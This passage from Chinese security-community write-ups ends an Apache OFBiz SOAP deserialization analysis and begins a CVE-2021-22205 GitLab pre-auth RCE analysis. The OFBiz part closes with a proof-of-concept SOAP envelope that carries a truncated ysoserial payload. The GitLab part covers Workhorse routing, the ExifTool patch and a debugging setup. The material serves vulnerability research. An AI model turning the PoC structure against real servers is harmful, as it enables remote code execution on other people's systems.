在
`framework/entity/src/main/java/org/apache/ofbiz/entity/serialize/XmlSerializer.java`
468行
`deserializeCustom`方法中有调用过`UtilObject.getObject()`，从名字上看是个自定义的反序列化方法
### 继续跟踪直到跳出本类
在94行的 `deserialize` 方法后没有自身调用了
### 继续反向跟踪调用链
`framework/service/src/main/java/org/apache/ofbiz/service/engine/SoapSerializer.java:45`
在
`framework/webapp/src/main/java/org/apache/ofbiz/webapp/event/SOAPEventHandler.java:177`
被 `SOAPEventHandler`类调用，并且在前面出现了`SOAPBody`等类型，说明这个类很有可能接收了`request
body`，后面可以验证
接着在这个方法`invoke()`的最开始可以确定这个方法接收了request请求的内容
### 调用链梳理
`request` -> `SOAPEventHandler:invoke()` -> `SoapSerializer:deserialize()` ->
`XmlSerializer:多层调用-> deserializeCustom()` -> `UtilObject.getObject()->
getObjectException()` -> `SafeObjectInputStream:return wois.readObject();` ->
反序列化完成
### 正向梳理利用链
#### 1\. 通过 `SOAPEventHandler:invoke()` 获取请求
可以看到获取了 `wsdl` 参数，这里要跳过`if`判断向下执行，所以不能带上`wsdl` 参数
在173行
`SOAPBody reqBody = reqEnv.getBody();`
#### 2\. 获取到请求的 `SOAPBody` 内容，进入 `SoapSerializer.deserialize()`
#### 3\. 继续跟进 `XmlSerializer.deserialize()`
多次调用后来到 `org.apache.ofbiz.entity.serialize.XmlSerializer#deserializeSingle`
`deserializeSingle`方法中开始判断xml中的标签名
这里需要将恶意代码带入到反序列化中，需要经过 `value.put()` 将key和value添加到map中。
#### 4\. 接着构造map，判断为`map-`开头的标签应该就行
简单构造
<map-HashMap>
<map-Entry>
<map-Key>
</map-Key>
<map-Value>
</map-Value>
</map-Entry>
</map-HashMap>
接着从465行来到了468行
判断了子标签存在 `cus-obj` 才会进入逻辑，进入逻辑后
传入的 `value` 为Hex编码过的字节流
#### 5\. 接着跟进 `UtilObject.getObject(valueBytes);` 利用链
在 116行，恶意代码的字节流进入了存在漏洞的 `SafeObjectInputStream`类
#### 6\. 跟进 `SafeObjectInputStream`类
先进行了白名单的初始化，不过白名单限制不多
最后进行`readObject()`进行反序列化
#### 7\. 调试 `UtilObject.getObject()` 的利用链是否成功
首先 利用 ysoserial 生成RMI字节流
跟推理的一样来到了 `SafeObjectInputStream`类
继续调试进入 `readObject()` 方法反序列化
从调试参数看这里的类名为 `java.rmi.server.RemoteObjectInvocationHandler`，而白名单里刚好有
`java..*`，在白名单内
因此直接跳到最后 将恶意的字节流反序列化触发RCE漏洞。
### 漏洞复现
完整构造POC
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://ofbiz.apache.org/service/">
<soapenv:Header/>
<soapenv:Body>
<ser>
<map-Map>
<map-Entry>
<map-Key>
<cus-obj>ACED0005737D00...00000000000078</cus-obj>
</map-Key>
<map-Value>
<std-String value=""/>
</map-Value>
</map-Entry>
</map-Map>
</ser>
</soapenv:Body>
</soapenv:Envelope> | 社区文章 |
# CVE-2021-22205 GitLab RCE之未授权访问深入分析（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
安全研究员`vakzz`于4月7日在hackerone上提交了一个关于gitlab的[RCE漏洞](https://hackerone.com/reports/1154542
"hackerone gitlab
rce")，在当时并没有提及是否需要登录gitlab进行授权利用，在10月25日该漏洞被国外安全公司通过日志分析发现未授权的[在野利用](https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
"gitlab在野利用")，并发现了新的利用方式。根据官方[漏洞通告](https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/ "官方漏洞通告")页面得知安全的版本为13.10.3、13.9.6 和
13.8.8。我将分篇深入分析该漏洞的形成以及触发和利用。 **本篇将复现分析携带恶意文件的请求是如何通过gitlab传递到exiftool进行解析的**
，接下来将分析exiftool漏洞的原理和最后的触发利用。预计会有两到三篇。希望读者能读有所得，从中收获到自己独特的见解。在本篇文章的编写中要感谢[@chybeta](https://t.zsxq.com/VFmuJAy
"CVE-2021-22205 Gitlab 前台RCE 分析之
0、1、2")和[@rebirthwyw](https://blog.rebirthwyw.top/2021/11/01/analysis-of-CVE-2021-22205-pre-auth-part/ "analysis of CVE-2021-22205 pre-auth
part")两位师傅和团队内的师傅给予的帮助，他们的文章和指点给予了我许多好的思路。
## gitlab介绍
GitLab是由GitLabInc.开发，使用MIT许可证的基于网络的Git仓库管理工具，且具有wiki和issue跟踪功能。使用Git作为代码管理工具，并在此基础上搭建起来的web服务。
GitLab由乌克兰程序员DmitriyZaporozhets和ValerySizov开发。后端框架采用的是Ruby on Rails，它使用
**Ruby语言** 写成。后来，一些部分用 **Go语言** 重写。gitlab-ce即为社区免费版，gitlab-ee为企业收费版。下面附上两张GitLab的单机部署架构图介绍其相应组件。
可以看到在gitlab的组成中包含的各种组件，可以通过两个关键入口访问，分别是HTTP/HTTPS(TCP 80,443)和SSH(TCP
22)，请求通过nginx转发到Workhorse，然后Workhorse和Puma进行交互，这里我们着重介绍下通过Web访问的组件GitLab
Workhorse。
> Puma 是一个用于 Ruby 应用程序的简单、快速、多线程和高度并发的 HTTP 1.1 服务器，用于提供GitLab网页和API。从 GitLab
> 13.0 开始，Puma成为了默认的Web服务器，替代了之前的Unicorn。而在GitLab 14.0中，Unicorn 从Linux
> 包中删除，只有Puma可用。
## GitLab Workhorse介绍
> GitLab
> Workhorse是一个使用go语言编写的敏捷反向代理。在[gitlab_features](https://gitlab.com/gitlab-> org/gitlab/-/blob/master/workhorse/doc/architecture/gitlab_features.md
> "Workhorse的作用")说明中可以总结大概的内容为，它会处理一些大的HTTP请求，比如 **文件上传** 、文件下载、Git
> push/pull和Git包下载。其它请求会反向代理到GitLab
> Rails应用。可以在[GitLab](https://gitlab.com/gitlab-org/gitlab/
> "GitLab源码")的项目路径`lib/support/nginx/gitlab`中的nginx配置文件内看到其将请求转发给了GitLab
> Workhorse。默认采用了unix socket进行交互。
这篇文档还写到，GitLab Workhorse在实现上会起到以下作用：
* 理论上所有向gitlab-Rails的请求首先通过上游代理，例如 NGINX 或 Apache，然后将到达gitlab-Workhorse。
* workhorse 能处理一些无需调用 Rails 组件的请求，例如静态的 js/css 资源文件，如以下的路由注册：
u.route(
"", `^/assets/`,//匹配路由
//处理静态文件
static.ServeExisting(
u.URLPrefix,
staticpages.CacheExpireMax,
assetsNotFoundHandler,
),
withoutTracing(), // Tracing on assets is very noisy
)
* workhorse能修改Rails组件发来的响应。例如：假设你的Rails组件使用`send_file` ，那么gitlab-workhorse将会打开磁盘中的文件然后把文件内容作为响应体返回给客户端。
* gitlab-workhorse能接管向Rails组件询问操作权限后的请求，例如处理`git clone`之前得确认当前客户的权限，在向Rails组件询问确认后workhorse将继续接管`git clone`的请求，如以下的路由注册：
u.route("GET", gitProjectPattern+`info/refs\z`, git.GetInfoRefsHandler(api)),
u.route("POST", gitProjectPattern+`git-upload-pack\z`, contentEncodingHandler(git.UploadPack(api)), withMatcher(isContentType("application/x-git-upload-pack-request"))),
u.route("POST", gitProjectPattern+`git-receive-pack\z`, contentEncodingHandler(git.ReceivePack(api)), withMatcher(isContentType("application/x-git-receive-pack-request"))),
u.route("PUT", gitProjectPattern+`gitlab-lfs/objects/([0-9a-f]{64})/([0-9]+)\z`, lfs.PutStore(api, signingProxy, preparers.lfs), withMatcher(isContentType("application/octet-stream")))
* workhorse 能修改发送给 Rails 组件之前的请求信息。例如：当处理 Git LFS 上传时，workhorse 首先向 Rails 组件询问当前用户是否有执行权限，然后它将请求体储存在一个临时文件里，接着它将修改过后的包含此临时文件路径的请求体发送给 Rails 组件。
* workhorse 能管理与 Rails 组件通信的长时间存活的websocket连接，代码如下：
// Terminal websocket
u.wsRoute(projectPattern+`-/environments/[0-9]+/terminal.ws\z`, channel.Handler(api)),
u.wsRoute(projectPattern+`-/jobs/[0-9]+/terminal.ws\z`, channel.Handler(api)),
使用`ps -aux | grep "workhorse"`命令可以看到gitlab-workhorse的默认启动参数
## go语言前置知识
我会简要介绍一下漏洞涉及的相关语言前置知识，这样才能够更深入的理解该漏洞，并将相关知识点串联起来，达到举一反三。
> 函数、方法和接口
在golang中函数和方法的定义是不同的，看下面一段代码
package main
//Person接口
type Person interface{
isAdult() bool
}
//Boy结构体
type Boy struct {
Name string
Age int
}
//函数
func NewBoy(name string, age int) *Boy {
return &Boy{
Name: name,
Age: age,
}
}
//方法
func (p *Boy) isAdult() bool {
return p.Age > 18
}
func main() {
//结构体调用
b := NewBoy("Star", 18)
println(b.isAdult())
//将接口赋值b,使用接口调用
var p Person = b
println(p.isAdult())//false
}
其中`NewBoy`为函数，`isAdult`为方法。他们的区别是方法在func后面多了一个接收者参数，这个接受者可以是一个结构体或者接口，你可以把他当做某一个”类”，而`isAdult`就是实现了该类的方法。
通过`&`取地址操作可以将一个结构体实例化，相当于`new`，可以看到在`NewBoy`中函数封装了这种操作。在main函数中通过调用`NewBoy`函数实例化Boy结构体，并调用了其方法`isAdult`。
关于接口的实现在Go语言中是隐式的。两个类型之间的实现关系不需要在代码中显式地表示出来。Go语言中没有类似于implements 的关键字。
Go编译器将自动在需要的时候检查两个类型之间的实现关系。 **在类型中添加与接口签名一致的方法就可以实现该方法。**
如`isAdult`的参数和返回值均与接口`Person`中的方法一致。所以在main函数中可以直接将定义的接口`p`赋值为实例结构体`b`。并进行调用。
> net/http
在golang中可以通过几行代码轻松实现一个http服务
package main
import (
"net/http"
"fmt"
)
func main() {
http.HandleFunc("/", h)
http.ListenAndServe(":2333",nil)
}
func h(w http.ResponseWriter, r *http.Request) {
fmt.Fprintln(w, "hello world")
}
其中的`http.HandleFunc()`是一个注册函数，用于注册路由。具体实现为绑定路径`/`和处理函数`h`的对应关系，函数`h`的类型是`(w
http.ResponseWriter, r
*http.Request)`。而`ListenAndServe()`函数封装了底层TCP通信的实现逻辑进行连接监听。第二个参数用于全局请求处理。如果没有传入自定义的handler。则会使用默认的`DefaultServeMux`对象处理请求最后到达`h`处理函数。
type Handler interface {
ServeHTTP(ResponseWriter, *Request)
}
在go中的任何结构体，只要实现了上方的`ServeHTTP`方法，也就是实现了`Handler`接口，并进行了路由注册。内部就会调用其ServeHTTP方法处理请求并返回响应。但是我们看到函数`h`并不是一个结构体方法，为什么可以处理请求呢？原来在`http.HandleFunc()`函数调用后，内部还会调用`HandlerFunc(func(ResponseWriter,
*Request))`将传入的函数`h`转换为一个具有ServeHTTP方法的handler。
具体定义如下。`HandlerFunc`为一个函数类型，类型为`func(ResponseWriter,
*Request)`。这个类型有一个方法为`ServeHTTP`，实现了这个方法就实现了Handler接口，`HandlerFunc`就成了一个Handler。上方的调用就是类型转换。
type HandlerFunc func(ResponseWriter, *Request)
// ServeHTTP calls f(w, r).
func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {
f(w, r)
}
当调用其ServeHTTP方法时就会调用函数`h`本身。
> 中间件
框架中还有一个重要的功能是中间件，所谓中间件，就是连接上下级不同功能的函数或者软件。通常就是包裹函数为其提供和添加一些功能或行为。前文的`HandlerFunc`就能把签名为`func(w
http.ResponseWriter, r *http.Reqeust)`的函数`h`转换成handler。这个函数也算是中间件。
了解实现概念，在具有相关基础知识前提下就可以尝试着手动进行实践，达到学以致用，融会贯通。下面就来动手实现两个中间件`LogMiddleware`和`AuthMiddleware`，一个用于日志记录的，一个用于权限校验。可以使用两种写法。
写法一
package main
import (
“log”
“net/http”
“time”
“encoding/json”
)
//权限认证中间件
type AuthMiddleware struct {
Next http.Handler
}
//日志记录中间件
type LogMiddleware struct {
Next http.Handler //这里为AuthMiddleware
}
//返回信息结构体
type Company struct {
ID int
Name string
Country string
}
//权限认证请求处理
func (am AuthMiddleware) ServeHTTP(w http.ResponseWriter, r http.Request) {
//如果没有嵌套中间件则使用默认的DefaultServeMux
if am.Next == nil {
am.Next = http.DefaultServeMux
}
//判断Authorization头是否不为空
auth := r.Header.Get("Authorization")
if auth != "" {
am.Next.ServeHTTP(w, r)
}else{
//返回401
w.WriteHeader(http.StatusUnauthorized)
}
}
//日志请求处理
func (am LogMiddleware) ServeHTTP(w http.ResponseWriter, r http.Request) {
if am.Next == nil {
am.Next = http.DefaultServeMux
}
start := time.Now()
//打印请求路径
log.Printf("Started %s %s", r.Method, r.URL.Path)
//调用嵌套的中间件，这里为AuthMiddleware
am.Next.ServeHTTP(w, r)
//打印请求耗时
log.Printf("Comleted %s in %v", r.URL.Path, time.Since(start))
}
func main() {
//注册路由
http.HandleFunc(“/user”, func(w http.ResponseWriter, r *http.Request) {
//实例化结构体返回json格式数据
c := &Company{
ID:123,
Name:”TopSec”,
Country: “CN”,
}
enc := json.NewEncoder(w)
enc.Encode(c)
})
//监听端口绑定自定义中间件
http.ListenAndServe(":8000",&LogMiddleware{
Next:new(AuthMiddleware),
})
}
上方代码中手动声明了两个结构体AuthMiddleware和LogMiddleware，实现了handler接口的`ServeHTTP`方法。在`ListenAndServe`中通过传入结构体变量嵌套绑定了这两个中间件。
当收到请求时会首先调用`LogMiddleware`中的`ServeHTTP`方法进行日志打印，其后调用`AuthMiddleware`中的`ServeHTTP`方法进行权限认证，最后匹配路由`/user`，调用转换好的handler处理器返回JSON数据，如下图。
当权限认证失败会返回401状态码。
写法二
package main
import (
"log"
"net/http"
"time"
"encoding/json"
)
//返回信息
type Company struct {
ID int
Name string
Country string
}
//权限认证中间件
func AuthHandler(next http.Handler) http.Handler {
//这里使用HandlerFunc将函数包装成了httpHandler并返回给LogHandler的next
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request){
//如果没有嵌套中间件则使用默认的DefaultServeMux
if next == nil {
next = http.DefaultServeMux
}
//判断Authorization头是否不为空
auth := r.Header.Get("Authorization")
if auth != "" {
next.ServeHTTP(w, r)
}else{
//返回401
w.WriteHeader(http.StatusUnauthorized)
}
})
}
//日志请求中间件
func LogHandler(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request){
if next == nil {
next = http.DefaultServeMux
}
start := time.Now()
//打印请求路径
log.Printf("Started %s %s", r.Method, r.URL.Path)
//调用嵌套的中间件，这里为AuthMiddleware
next.ServeHTTP(w, r)
//打印请求耗时
log.Printf("Comleted %s in %v", r.URL.Path, time.Since(start))
})
}
func main() {
//注册路由
http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) {
//实例化结构体返回json格式数据
c := &Company{
ID:123,
Name:"TopSec",
Country: "CN",
}
enc := json.NewEncoder(w)
enc.Encode(c)
})
//监听端口绑定自定义中间件
http.ListenAndServe(":8000",LogHandler(AuthHandler(nil)))
}
写法二和写法一的区别在于写法一手动实现了`ServeHTTP`方法，而写法二使用函数的形式在其内部通过`HandlerFunc`的转换返回了一个handler处理器，这个handler实现了`ServeHTTP`方法，调用`ServeHTTP`方法则会调用其本身，所以同样也能当做中间件做请求处理。
提供两种方式的原因是当存在一个现有的类型需要转换为handler时只需要添加一个`ServeHTTP`方法即可。关于http和中间件更详细的分析就不在这里一一展开了，感兴趣的读者可以参考这两篇文章：[net/http库源码笔记](https://www.jianshu.com/p/be3d9cdc680b
"net/http库源码笔记")、[Go的http包详解](https://www.jianshu.com/p/c90ebdd5d1a1
"Go的http包详解")
## ruby前置知识
在ruby中当要调用方法时，可以不加括号只使用方法名。实例变量使用@开头表示。
> 元编程
通过元编程是可以在运行时动态地操作语言结构（如类、模块、实例变量等）
`instance_variable_get(var)`方法可以取得并返回对象的实例变量var的值。
`instance_variable_set(var, val)`方法可以将val的值赋值给对象实例变量var并返回该值。
`instance_variable_defined(var)`方法可以判断对象实例变量var是否定义。
> yield 关键字
函数调用时可以传入语句块替换其中的yield关键字并执行。如下示例：
def a
return 4
end
def b
puts yield
end
b{a+1}
调用b时会将yield关键字替换为语句块a+1，所以会调用a返回4然后加上1打印5。
> Web框架rails
>
> * 路由
>
在rails中的路由文件一般位于`config/routes.rb`下，在路由里面可以将请求和处理方法关联起来，交给指定controller里面的action，如下形式：
post 'account/setting/:id',
to: 'account#setting',
constraints: { id: /[A-Z]\d{5}/ }
`account/setting/`是请求的固定url，`:id`表示带参数的路由。to表示交给`account`controller下的action`setting`处理。constraints定义了路由约束，使用正则表达式来对参数`:id`进行约束。
* 过滤器
rails中可以插入定义好的类方法实现[过滤器](https://guides.rubyonrails.org/action_controller_overview.html#filters
"rails
过滤器")，一般分为`before_action`，`after_action`，`around_action`分别表示调用action”之前”、”之后”、”围绕”需要执行的操作。如：
before_action :find_product, only: [:show]
上方表示在执行特定 Action `show`之前，先去执行 find_product 方法。
还可以使用`skip_before_action`跳过之前`before_action`指定的方法。
class ApplicationController < ActionController::Base
before_action :require_login
end
class LoginsController < ApplicationController
skip_before_action :require_login, only: [:new, :create]
end
如在父类`ApplicationController`定义了一个`before_action`，在子类可以使用`skip_before_action`跳过，只针对于`new`和`create`的调用。
## 漏洞简要介绍
根据gitlab的[官方漏洞issues](https://gitlab.com/gitlab-org/gitlab/-/issues/327121
"漏洞issues")来看，当访问接口`/uploads/user`上传图像文件时，GitLab
Workhorse会将扩展名为jpg、jpeg、tiff文件传递给ExifTool。用于删除其中不合法的标签。具体的标签在`workhorse/internal/upload/exif/exif.go`中的`startProcessing`方法中有定义，为白名单处理，函数内容如下：
func (c *cleaner) startProcessing(stdin io.Reader) error {
var err error
//白名单标签
whitelisted_tags := []string{
"-ResolutionUnit",
"-XResolution",
"-YResolution",
"-YCbCrSubSampling",
"-YCbCrPositioning",
"-BitsPerSample",
"-ImageHeight",
"-ImageWidth",
"-ImageSize",
"-Copyright",
"-CopyrightNotice",
"-Orientation",
}
//传入参数
args := append([]string{"-all=", "--IPTC:all", "--XMP-iptcExt:all", "-tagsFromFile", "@"}, whitelisted_tags...)
args = append(args, "-")
//使用CommandContext执行命令调用exiftool
c.cmd = exec.CommandContext(c.ctx, "exiftool", args...)
//获取输出和错误
c.cmd.Stderr = &c.stderr
c.cmd.Stdin = stdin
c.stdout, err = c.cmd.StdoutPipe()
if err != nil {
return fmt.Errorf("failed to create stdout pipe: %v", err)
}
if err = c.cmd.Start(); err != nil {
return fmt.Errorf("start %v: %v", c.cmd.Args, err)
}
return nil
}
而ExifTool在解析文件的时候会忽略文件的扩展名，尝试根据文件的内容来确定文件类型，其中支持的类型有DjVu。
> DjVu是由AT&T实验室自1996年起开发的一种图像压缩技术，已发展成为标准的图像文档格式之一
>
>
> ExifTool是一个独立于平台的Perl库，一款能用作多功能图片信息查看工具。可以解析出照片的exif信息，可以编辑修改exif信息，用户能够轻松地进行查看图像文件的EXIF信息，完美支持exif信息的导出。
关键在于ExifTool在解析DjVu注释的`ParseAnt`函数中存在漏洞，所以我们就可以通过构造DjVu文件并插入恶意注释内容将其改为jpg后缀上传，因为gitlab并未在这个过程中验证文件内容是否是允许的格式，最后让ExifTool以DjVu形式来解析文件，造成了ExifTool代码执行漏洞。
该漏洞存在于ExifTool的7.44版本以上，在12.4版本中修复。Gitlab
v13.10.2使用的ExifTool版本为11.70。并且接口`/uploads/user`可通过获取的X-CSRF-Token和未登录Session后来进行未授权访问。最终造成了GitLab未授权的远程代码执行漏洞。
### 漏洞补丁分析
根据官方通告得知安全版本之一有13.10.3，那么我们直接切换到分支13.10.3查看[补丁提交记录](https://gitlab.com/gitlab-org/gitlab/-/commits/v13.10.3-ee/
"13.10.3提交记录")即可，打开页面发现在4月9日和11日有两个关于本次漏洞的commits，在其后的4月13日进行了合并。
在commit`Check content type before running
exiftool`中添加了`isTIFF`和`isJPEG`两个方法到`workhorse/internal/upload/rewrite.go`分别对TIFF文件解码或读取JPEG前512个字节来进行文件类型检测。
func isTIFF(r io.Reader) bool
//对TIFF文件解码
_, err := tiff.Decode(r)
if err == nil {
return true
}
if _, unsupported := err.(tiff.UnsupportedError); unsupported {
return true
}
return false
}
func isJPEG(r io.Reader) bool {
//读取JPEG前512个字节
// Only the first 512 bytes are used to sniff the content type.
buf, err := ioutil.ReadAll(io.LimitReader(r, 512))
if err != nil {
return false
}
return http.DetectContentType(buf) == "image/jpeg"
}
在commit`Detect file MIME type before checking exif
headers`中添加了方法`check_for_allowed_types`到`lib/gitlab/sanitizers/exif.rb`检测mime_type是否为JPG或TIFF。
def check_for_allowed_types(contents)
mime_type = Gitlab::Utils::MimeType.from_string(contents)
unless ALLOWED_MIME_TYPES.include?(mime_type)
raise "File type #{mime_type} not supported. Only supports #{ALLOWED_MIME_TYPES.join(", ")}."
end
end
不过在rails中的exiftool调用是以[Rake任务](https://docs.gitlab.com/ee/administration/raketasks/uploads/sanitize.html
"Uploads sanitize Rake
tasks")存在的。以下是rails中的rake文件，位于`lib/tasks/gitlab/uploads/sanitize.rake`
namespace :gitlab do
namespace :uploads do
namespace :sanitize do
desc 'GitLab | Uploads | Remove EXIF from images.'
task :remove_exif, [:start_id, :stop_id, :dry_run, :sleep_time, :uploader, :since] => :environment do |task, args|
args.with_defaults(dry_run: 'true')
args.with_defaults(sleep_time: 0.3)
logger = Logger.new(STDOUT)
sanitizer = Gitlab::Sanitizers::Exif.new(logger: logger)
sanitizer.batch_clean(start_id: args.start_id, stop_id: args.stop_id,
dry_run: args.dry_run != 'false',
sleep_time: args.sleep_time.to_f,
uploader: args.uploader,
since: args.since)
end
end
end
end
> Rake是一门构建语言，和make和ant很像。Rake是用Ruby写的，它支持它自己的DSL用来处理和维护
> Ruby应用程序。Rails用rake的扩展来完成多种不同的任务。
## 漏洞复现分析
> 网上最开始流传的方式为通过[后台上传](https://www.cnblogs.com/ybit/p/14918949.html
> "后台上传")恶意JPG格式文件触发代码执行。从之后流出的在野利用分析来看，上传接口`/uploads/user`其实并不需要认证，也就是未授权的RCE，只需要获取到CSRF-> Token和未登录session即可。该漏洞的触发流程可大概分为两种，下面将一一介绍。
### 漏洞调试环境搭建
本次调试由于本地GitLab Development
Kit环境搭建未果，最后选择了两种不同的方式来完成本次漏洞分析的调试，关于workhorse调试环境使用gitlab官方docker配合vscode进行调试，官方docker拉取
docker run -itd \
-p 1180:80 \
-p 1122:22 \
-v /usr/local/gitlab-test/etc:/etc/gitlab \
-v /usr/local/gitlab-test/log:/var/log/gitlab \
-v /usr/local/gitlab-test/opt:/var/opt/gitlab \
--restart always \
--privileged=true \
--name gitlab-test \
gitlab/gitlab-ce:13.10.2-ce.0
运行docker后在本地使用命令`ps -aux | grep "workhorse"`可查看workhorse进程ID。
新建目录`/var/cache/omnibus/src/gitlab-rails/workhorse/`将workhorse源码复制到其下。安装vscode后打开上述目录按提示安装go全部的相关插件，然后添加调试配置，使用dlv
attach模式。填入进程PID。下断点开启调试即可正常调试。
"configurations": [
{
"name": "Attach to Process",
"type": "go",
"request": "attach",
"mode": "local",
"processId": 6257
}
]
关于rails部分的调试环境使用[gitpod](https://mp.weixin.qq.com/s/AI0ucw-N-WECcvhQdTjrRQ
"gdk一键搭建")云端一键搭建的GitLab Development
Kit。首先fork仓库后选择指定分支点击gitpod即可进行搭建。rails参考[pry-shell](https://docs.gitlab.com/ee/development/pry_debugging.html "pry-shell")来进行调试。在gitpod中也可以进行workhorse的调试，同样根据提示安装全部go相关插件
.jpg)
由于gitpod的vscode环境不是root，无法直接在其中Attach to Process进行调试，所以可以本地使用sudo起一个远程调试的环境
sudo /home/gitpod/.asdf/installs/golang/1.17.2/packages/bin/dlv-dap attach 38489 --headless --api-version=2 --log --listen=:2345
相关调试配置
"configurations": [
{
"name": "Connect to server",
"type": "go",
"request": "attach",
"mode": "remote",
"remotePath": "${workspaceFolder}",
"port": 2345,
"host": "127.0.0.1"
}
]
### 漏洞代码分析-触发流程一
#### workhorse路由匹配
在workhorse的更新中涉及函数有`NewCleaner`，在存在漏洞的版本13.10.2中跟踪到该函数，其中调用到`startProcessing`来执行exiftool命令，具体内容可以看之前贴的代码
func NewCleaner(ctx context.Context, stdin io.Reader) (io.ReadCloser, error) {
c := &cleaner{ctx: ctx}
if err := c.startProcessing(stdin); err != nil {
return nil, err
}
return c, nil
}
右键该方法浏览调用结构
从上图中除去带test字样的测试函数，可以看出最终调用点只有两个，upload包下的Handler函数`Accelerate`，和artifacts包下的Handler函数`UploadArtifacts`。现在还暂时不确定是哪个函数，根据前面的漏洞描述信息我们知道对接口`/uploads/user`的处理是整个调用链的开始，所以直接在源码中全局搜索该接口
由于请求会先经过GitLab
Workhorse，我们可以直接在上图中确定位于`workhorse/internal/upstream/routes.go`路由文件中的常量`userUploadPattern`，下面搜索一下对该常量的引用
在315行代码中发现进行了路由匹配，然后调用了`upload.Accelerate`。和前面调用点`Accelerate`吻合，这里的调用比较关键，接下来分析该函数：
func Accelerate(rails PreAuthorizer, h http.Handler, p Preparer) http.Handler {
return rails.PreAuthorizeHandler(func(w http.ResponseWriter, r *http.Request, a *api.Response) {
s := &SavedFileTracker{Request: r}
opts, _, err := p.Prepare(a)
if err != nil {
helper.Fail500(w, r, fmt.Errorf("Accelerate: error preparing file storage options"))
return
}
HandleFileUploads(w, r, h, a, s, opts)
}, "/authorize")
}
可以看到函数返回值为`http.Handler`，说明了之前在ServeHTTP中进行了调用。我们可以尝试一下寻找前面的`ServeHTTP`调用点。
首先可以看到路由注册在结构体`routeEntry`中，然后返回了一个数组赋值给`u.Routes`。
`routeEntry`用于储存请求路径和对应handler。以下是路由注册方法`route`，接收者为`upstream`结构体。实现功能传入正则字符串形式路径和对应处理handler存入`routeEntry`
func (u *upstream) route(method, regexpStr string, handler http.Handler, opts ...func(*routeOptions)) routeEntry {
...
//注册路由绑定handler
return routeEntry{
method: method,
regex: compileRegexp(regexpStr),
handler: handler,
matchers: options.matchers,
}
}
`upstream`结构体的成员`Routes`指向一个`routeEntry`数组。
type upstream struct {
config.Config
URLPrefix urlprefix.Prefix
Routes []routeEntry
RoundTripper http.RoundTripper
CableRoundTripper http.RoundTripper
accessLogger *logrus.Logger
}
查看对该成员的操作位置，位于`upstream`的`ServeHTTP`方法中，这里通过遍历`u.Routes`调用`isMatch`对全局请求进行了路由匹配，最后调用相应的handler。
func (u *upstream) ServeHTTP(w http.ResponseWriter, r *http.Request) {
...
// Look for a matching route
var route *routeEntry
for _, ro := range u.Routes {
if ro.isMatch(prefix.Strip(URIPath), r) {
route = &ro
break
}
}
...
//调用相应handler
route.handler.ServeHTTP(w, r)
}
`isMatch`方法如下，使用`regex.MatchString()`判断了请求路由是否匹配，cleanedPath为请求url。
func (ro *routeEntry) isMatch(cleanedPath string, req *http.Request) bool {
//匹配请求方式
if ro.method != "" && req.Method != ro.method {
return false
}
//匹配请求路由
if ro.regex != nil && !ro.regex.MatchString(cleanedPath) {
return false
}
ok := true
for _, matcher := range ro.matchers {
ok = matcher(req)
if !ok {
break
}
}
return ok
}
#### workhorse认证授权
`Accelerate`函数中有两个参数，一个是传入的handler，一个是原有的请求上加上接口`authorize`。文档中写到接口用于认证授权。
函数内的`PreAuthorizeHandler`是`PreAuthorizer`接口的一个接口方法。该方法实现了一个中间件功能，作用是进行指定操作前的向rails申请预授权，授权通过将调用handler函数体内的`HandleFileUploads`上传文件。下面是`PreAuthorizer`接口定义。
type PreAuthorizer interface {
PreAuthorizeHandler(next api.HandleFunc, suffix string) http.Handler
}
接口实现位于`internal\api\api.go:265`，以下贴出删减后的关键代码：
func (api *API) PreAuthorizeHandler(next HandleFunc, suffix string) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
httpResponse, authResponse, err := api.PreAuthorize(suffix, r)
//...
next(w, r, authResponse)
})
}
其中使用了`http.HandlerFunc`将普通函数转换成了Handler类型，跟进`api.PreAuthorize(suffix, r)`，
func (api *API) PreAuthorize(suffix string, r *http.Request) (httpResponse *http.Response, authResponse *Response, outErr error) {
//组装请求头
authReq, err := api.newRequest(r, suffix)
...
//发起请求得到响应
httpResponse, err = api.doRequestWithoutRedirects(authReq)
//解析httpResponse.Body到authResponse
authResponse = &Response{}
// The auth backend validated the client request and told us additional
// request metadata. We must extract this information from the auth
// response body.
if err := json.NewDecoder(httpResponse.Body).Decode(authResponse); err != nil {
return httpResponse, nil, fmt.Errorf("preAuthorizeHandler: decode authorization response: %v", err)
}
return httpResponse, authResponse, nil
}
以上代码中`newRequest()`用于组装请求头，跟进如下：
func (api *API) newRequest(r *http.Request, suffix string) (*http.Request, error) {
authReq := &http.Request{
Method: r.Method,
URL: rebaseUrl(r.URL, api.URL, suffix),
Header: helper.HeaderClone(r.Header),
}
...
}
`doRequestWithoutRedirects()`用于发起请求，跟进如下：
func (api *API) doRequestWithoutRedirects(authReq *http.Request) (*http.Response, error) {
signingTripper := secret.NewRoundTripper(api.Client.Transport, api.Version)
return signingTripper.RoundTrip(authReq)
}
`doRequestWithoutRedirects()`第一行实例化使用一个`RoundTripper`，传入了http.Client的Transport类型。`RoundTripper`是一个接口，可以当做是基于http.Client的中间件，在每次请求之前做一些指定操作。实现其中的`RoundTrip`方法即可实现接口做一些请求前的操作。下面看看在`RoundTrip`方法中做了什么
func (r *roundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
//生成JWT令牌
tokenString, err := JWTTokenString(DefaultClaims)
...
// Set a custom header for the request. This can be used in some
// configurations (Passenger) to solve auth request routing problems.
//设置Header头
req.Header.Set("Gitlab-Workhorse", r.version)
req.Header.Set("Gitlab-Workhorse-Api-Request", tokenString)
return r.next.RoundTrip(req)
}
上图中添加了header头`Gitlab-Workhorse-Api-Request`，内容为JWT令牌，用于在rails中验证请求是否来自于workhorse。最后组成的请求为
POST /uploads/user/authorize HTTP/1.1
Host: 127.0.0.1:8080
X-Csrf-Token: Gx3AIf+UENPo0Q07pyvCgLZe30kVLzuyVqFwp8XDelScN7bu3g4xMIEW6EnpV+xUR63S2B0MyOlNFHU6JXL5zg==
Cookie: _gitlab_session=76a97094914fc3881c995992a9e22382
